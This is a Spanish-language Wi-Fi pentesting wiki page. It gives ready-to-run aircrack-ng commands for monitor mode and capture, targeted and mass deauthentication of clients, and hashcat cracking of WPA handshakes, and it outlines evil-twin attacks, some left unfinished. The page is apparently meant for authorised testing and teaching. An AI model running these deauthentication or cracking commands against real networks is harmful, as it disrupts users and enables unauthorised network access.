📶Redes wifi

Como se van a trabajar con múltiples tarjetas de red, todos los comandos tienen una versión con variables, para que sea más fácil y rápido modificar la información.

Conceptos generales

Tabla del protocolo Wi-Fi IEEE 802.1

Protocolo / BandaFrecuenciaAncho del canal

802.11ax

2,4 o 5 GHz

20, 40, 80, 160 MHz

802.11ac wave2

5 GHz

20, 40, 80, 160 MHz

802.11ac wave1

5 GHz

20, 40, 80 MHz

802.11n

2,4 o 5 GHz

20, 40 MHz

802.11g

2,4 GHz

20 MHz

802.11a

5 GHz

20 MHz

802.11b

2,4 GHz

20 MHz

Tradicional 802.11

2,4 GHz

20 MHz

Seguridad en redes inalámbricas

Las redes inalámbricas pueden contar con diferentes tipos de seguridad, ante los cuales, variarán los ataques a realizar.

  1. WPS.

  2. WEP.

  3. WPA/WPA2/WPA3-PSK. (Personal)

  4. WPA/WPA2/WPA3-MGT. (Enterprise)

Herramientas

  • Host. Máquina donde realizar las pruebas, puesto que, entre otras cosas, habrá que modificar las tarjetas de red a modo monitor, lo que requiere que se deshabiliten procesos de red que impedirán la conexión a la red en la máquina donde se ejecuten las pruebas (y de alguna forma tienes que poder consultar esta wiki y otros recursos xD). Las opciones clásicas son:

  • Tarjetas de red. Mínimo 2 tarjetas de red. Con una tarjeta de red es posible realizar la pruebas, pero en el caso de redes corporativas, es necesario al menos, 2 tarjetas de red.

Comandos generales

Para mostrar información sobre las interfaces de red y wifi:

ip a
ip link show
iwconfig

Para la gran mayoría de las pruebas, es necesario tener la interfaz de red en modo monitor y para ello será necesario utilizar una tarjeta wifi compatible con ello.

Según el modo utilizado se obtendrá diferente información de las redes wifi.

Modo monitor

El modo monitor permite capturar todos los tipos de paquete wifi, de esta forma, es posible obtener información de los puntos de acceso y clientes conectados, entre otros detalles.

Para realizar la captura de paquetes, es necesario cambiar la interfaz a modo monitor (o modo promiscuo). Por defecto, se suele encontrar en modo managed.

Para cambiar el modo de una interfaz, por ejemplo, la wlan0 a modo monitor, se realizarán las siguientes acciones:

  1. Tomar como variable IFACE el nombre de la interfaz de red que se quiera modificar. (ej: wlan0)

  2. Deshabilita la interfaz de red.

  3. Cierra (mata 🔪🔪🔪) los procesos de red (sí, te vas a quedar sin internet 🕯️).

  4. Cambia la interfaz a modo monitor.

  5. Habilita la interfaz de red.

  6. Muestra información de las interfaces de red inalámbricas.

Por ejemplo, si las redes o SSIDs se encuentran en bandas de 2,4Ghz o 5Ghz, deberemos modificar la configuración de nuestra tarjeta para que trabaje con esa banda y canales correspondientes.

A continuación, se detallan los comandos de acuerdo a las bandas con las que se desee trabajar:

IFACE=wlan0
ifconfig $IFACE down
airmon-ng check kill
iwconfig $IFACE mode monitor
ifconfig $IFACE up
iwconfig

Modo managed

IFACE=wlan0
service network-manager start
ifconfig $IFACE down
iwconfig $IFACE mode managed
ifconfig $IFACE up
iwconfig

Captura de paquetes

Captura básica

Se capturan paquetes utilizando la interfaz de red en cuestión (IFACE) y se guarda la información en un fichero pcap que luego se podrá abrir con wireshark.

IFACE=wlan0
PCAP=captura
airodump-ng $IFACE --write $PCAP

Si el nombre del pcap ya existe, se crea un fichero con el mismo nombre seguido de una numeración ascendente, evitando sobreescribir capturas que hayamos realizado anteriormente.

Captura en una banda en concreto

  • Banda a:

IFACE=wlan0
BAND=a
airodump-ng --band $BAND $IFACE
  • Bandas a, b y g:

IFACE=wlan0
BAND=abg
airodump-ng --band $BAND $IFACE

Captura de un ESSID en concreto

Es posible capturar paquetes de un ESSID en concreto haciendo uso de expresiones regulares, esto permitirá focalizar la captura de paquetes en los SSID que tengamos dentro del alcance y guardar la información en un fichero pcap que luego se podrá abrir con wireshark.

IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX

Por ejemplo, el comando anterior, realizará una captura utilizando la interfaz wlan0 de todas aquellas redes cuyo SSID coincida con la expresión regular indicada (WIFI_WTF, WIFI_OMG, etc.) y guardará la información en un fichero llamado captura.

Captura de un BSSID en concreto

Tras realizar una primera captura básica donde se pueden observar las redes que se encuentran alrededor, se identifica el/los BSSID (MAC) de la red objetivo y el canal, para realizar una captura solo de información de dicha red (para capturar solo lo que nos interesa y omitir redes fuera del alcance).

Por ejemplo:

airodump-ng --bssid <MAC del router> --channel <canal en el que se emite> --write <fichero pcap> <interfaz>
airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write output wlan0

Lo mismo, pero con variables:

IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE

Cracking

Diccionarios

Crunch

crunch 16 16 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 -t @@@@@@@@@@@@@@@@ -o wordlist

[Cracking] Hashcat

Para el cracking de contraseñas desde los pcap capturados, se puede realizar un:

  • Ataque por diccionario.

  • Ataque de fuerza bruta.

Para el ataque por diccionario:

hashcat -m 22000 hash.hc22000 wordlist.txt

Para el ataque por fuerza bruta:

hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d

Una vez se obtenga la contraseña, se puede visualizar con el siguiente comando:

hashcat -m 22000 hash.hc22000 --show

Resumen de ataques

  • [DoS] Denegación de servicio. - Ataque de deautenticación. - Saturación de APs.

  • [Cracking] Fuerza bruta.

    • WEP.

    • WPA-PSK.

      • Captura de handshake (4-way).

        • Nueva conexión.

        • Deautenticación.

      • Captura de PMKID.

      • WPS pin.

    • WPA-MGT.

      • Captura de nombres de usuario.

      • Fuerza bruta para obtención de credenciales.

  • [Fake AP] AP falso.

    • Red abierta.

      • Portal cautivo y captura de credenciales.

    • WPA-PSK.

      • Captura de handshake y cracking.

    • WPA-MGT.

      • Captura de credenciales corporativas.

      • Captura de nombres de usuarios.

      • Captura y falsificación de certificados.

  • [Otros] KARMA, MANA, Loud Mana, Known beacon.

    • Red abierta.

      • Portal cautivo y captura de credenciales.

    • WPA.

      • Captura de handshake.

Para la adaptación de los ataques de acuerdo a la casuística con la que nos encontremos y la seguridad de las redes objetivo, es muy útil utilizar el siguiente mapa para determinar el flujo de ataque y llevar un mejor control de las pruebas:

https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf

[Ataque] Deautenticación

Desconectar a todo el mundo o un cliente en específico (ESSID) de un AP.

Para la realización de la mayoría de ataques, cuando no podamos capturar conexiones nuevas en la red, será muy util realizar un ataque de deautenticación controlado contra clientes de la red objetivo con el fin de desconectar a un usuario/cliente de la red objetivo y capturar la información de autenticación de dicho usuario de acuerdo a la seguridad de la red en cuestión.

Por ejemplo, si la red tiene seguridad:

  • WPA-PSK: Se fuerza al usuario a deautenticarse de la red, podremos capturar el handshake.

  • WPA-MGT: Se fuerza al usuario a deautenticarse y se capturan credenciales con un AP falso.

Si se quiere evitar realizar ataques de deautenticación, es recomendable capturar paquetes antes de que se realicen nuevas conexiones, por ejemplo, al comienzo de la jornada habitual de los trabajadores o al volver de la hora de comida. Para ello, bien se puede madrugar, o dejar una raspberry PI capturando handshakes y/o un AP falso (aquí es donde empieza a ser útil tener mínimo dos tarjetas de red).

[A] Deautenticación simple

Para realizar un ataque de deautenticación, es necesario conocer:

  • La MAC del AP del SSID (red objetivo) del cuál se quiere obtener el handshake.

  • La MAC de un cliente que se encuentre conectado a dicho AP.

Esta información se puede obtener de la siguiente forma:

  1. Realizar una captura básica para obtener información de las redes cercanas. [Captura básica]

  2. Obtener la MAC de la red objetivo. [Captura de un ESSID en concreto]

  3. Realizar una captura del AP con la MAC obtenida. [Captura de un BSSID en concreto]

  4. Seleccionar la MAC del cliente que se desea deautenticar.

  5. Utilizar airplay-ng para deautenticar al usuario, repetir todas las veces que se considere necesarias para obtener el handshake o credenciales. Si no se consigue obtener un handshake, ponerse en medio o acercarse al cliente objetivo.

  6. Obtención del handshake o credenciales.

De acuerdo a los pasos mencionados anteriormente:

  1. Capturar de redes cercanas o directamente nuestra red objetivo:

IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
  1. Conociendo el MAC (BSSID) de la red objetivo, se realiza una captura de paquetes de dicha red. Aquí pueden pasar dos cosas:

    • Se realiza una nueva conexión y se consigue capturar el handshake o credenciales.

    • Se selecciona el MAC de un cliente que se quiera deautenticar para capturar el handshake en cuanto se intente conectar al AP:

IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
  1. Se realiza la deautenticación del cliente objetivo mientras se capturan paquetes del AP (BSSID) o red (ESSID) en cuestión.

    1. Si se conoce que solo hay un AP en la red, será interesante hacerlo solo de este.

    2. En cambio, si la red tiene múltiples AP's, será interesante realizar una captura del ESSID, con el fin de abarcar todos los AP's correspondientes a la red objetivo y tener mayor probabilidad de capturar el handshake.

Mientras se realiza una captura del AP o red (con los comandos anteriores), se ejecuta el siguiente comando para forzar la deautenticación del cliente:

aireplay-ng --deauth <segundos de desconexión> -a <bssid de la red> -c <dispositivo a desconectar> <interfaz>
aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0 --ignore-negative-one 

Lo mismo, con variables:

IFACE=wlan0
DEAUTH=4
BSSID=00:11:22:33:44:55
MACVICTIM=55:44:33:22:11:00
aireplay-ng --deauth $DEAUTH -a $BSSID -c $MACVICTIM $IFACE --ignore-negative-one 
  1. Realizar la deautenticación hasta obtener un handshake o credenciales. Si no se consigue un resultado favorable, habrá que colocarse físicamente entre el AP y la víctima, a mayor cercanía, más probabilidades de capturar los paquetes.

[A] Deautenticación múltiple

Si se realiza la deautenticación anterior para múltiples usuarios, se puede causar una denegación de servicio en masa.

IFACE=wlan0
DEAUTH=10
BSSID=00:11:22:33:44:55
aireplay-ng -0 $DEAUTH -a $BSSID $IFACE

[A] Obtener nombres de redes ocultas - Hidden SSIDs

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red.

Por ejemplo, se identifican las redes disponibles, y posteriormente, se capturan paquetes del BSSID del que se desee obtener el nombre.

IFACE=wlan0
airodump-ng $IFACE
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE

Una vez se conecte un usuario, bien de forma trivial o por medio de forzar una nueva conexión deautenticando al usuario, se obtendrá el nombre de la red.

[Ataque] WPS

[En proceso]

[Ataque] WEP

[En proceso]

[Ataque] WPA-PSK

La conexión requiere de un handshake entre el punto de acceso (router) y el cliente. Este handshake envía 4 paquetes al conectarse un cliente.

Para obtener el handshake, se puede:

  • Esperar a que se conecte un cliente.

  • Realizar un ataque de deautenticación para forzar la autenticación de un cliente en cuestión.

[A] 4-way handshake

Consiste en capturar los paquetes enviados durante el handshake para posteriormente intentar crackear la contraseña.

Según las casuísticas y la cercanía del AP, se pude realizar de dos formas:

  • Con el AP legítimo.

  • Sin AP legítimo.

[Ataque] WPA-MGT

En WPA-MGT o Enterprise, la autenticación es gestionada por un servidor RADIUS, para ello, se utilizan los métodos EAP que gestionan las credenciales de acuerdo al tipo de método utilizado.

Según los métodos que sean soportados, podrán realizarse distintos ataques con mayor o menor probabilidad de éxito.

Para la captura de credenciales, se crea un AP falso con el mismo SSID que la red objetivo. Si los métodos EAP soportados son inseguros, podría llegar a capturarse las credenciales (dependerá de la configuración tanto por parte del cliente como del AP y servidor).

Métodos EAP

Métodos inseguros

Existen múltiples métodos que se consideren inseguros, ya que permiten que sean crackeados sin necesidad de un AP falso.

  • EAP-MD5.

  • EAP-GTC.

  • LEAP.

Por otro lado, existen métodos seguros que pueden llegar a ser inseguros si no se implementan adecuadamente, pudiendo ser explotados por medio de la creación de un AP falso:

  • PEAP.

  • TTLS.

[En proceso]

[A] AP falso / Fake AP / Rogue AP / Evil Twin

Al hecho de crear un AP falso con el mismo nombre que el AP objetivo, se le dan diferentes nombres:

  • AP falso.

  • Fake AP.

  • Rogue AP.

  • Evil Twin.

[En proceso]

[A] Ataque de downgrade

[A] Ataque de password spray

[A] Relay Attack

[En proceso]

[Ataque] WPA3

Referencias

Última actualización